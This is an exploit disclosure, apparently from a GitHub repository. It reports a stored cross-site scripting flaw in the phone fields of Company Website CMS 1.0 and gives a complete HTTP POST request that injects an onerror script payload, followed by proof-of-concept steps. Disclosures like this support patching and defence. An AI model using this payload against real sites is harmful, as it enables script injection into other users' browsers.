Skip to content
Permalink
main
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Go to file
 
 
Cannot retrieve contributors at this time

Company Website CMS - /dashboard/contact 'phone' Stored Cross-Site Scripting(XSS)

Exploit Title: Company Website CMS - /dashboard/contact 'phone' Stored Cross-Site Scripting(XSS)

Exploit Author: webraybtl@webray.com.cn inc

Vendor Homepage: https://www.sourcecodester.com/php/15517/company-website-cms-php.html

Software Link:https://www.sourcecodester.com/download-code?nid=15517&title=Company+Website+CMS+in+PHP+and+MySQL+Free+Source+Code

Version: Company Website CMS 1.0

Tested on: Windows Server 2008 R2 Enterprise, Apache ,Mysql

Description

Persistent XSS (or Stored XSS) attack is one of the three major categories of XSS attacks, the others being Non-Persistent (or Reflected) XSS and DOM-based XSS. In general, XSS attacks are based on the victim’s trust in a legitimate, but vulnerable, website or web application. Company Website CMS does not filter the content correctly at the parameter, resulting in the generation of stored XSS.

Payload used:

POST /dashboard/contact HTTP/1.1
Host: 192.168.67.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------7024317128117527412760215857
Content-Length: 989
Origin: http://192.168.67.9
Connection: close
Referer: http://192.168.67.9/dashboard/contact
Upgrade-Insecure-Requests: 1

-----------------------------7024317128117527412760215857
Content-Disposition: form-data; name="phone1"

+89 (0) 2354 5470091<img src="" onerror="alert(1)">
-----------------------------7024317128117527412760215857
Content-Disposition: form-data; name="phone2"

+89 (0) 2354 5470091<img src="" onerror="alert(1)">
-----------------------------7024317128117527412760215857
Content-Disposition: form-data; name="email1"

mail@company.com
-----------------------------7024317128117527412760215857
Content-Disposition: form-data; name="email2"

mail@company.com
-----------------------------7024317128117527412760215857
Content-Disposition: form-data; name="longitude"

7.099737483
-----------------------------7024317128117527412760215857
Content-Disposition: form-data; name="latitude"

7.63734634
-----------------------------7024317128117527412760215857
Content-Disposition: form-data; name="save"


-----------------------------7024317128117527412760215857--

Proof of Concept

  1. Send payload

  2. Open Page http://192.168.67.5/, We can see the alert.;

image-20220810135857875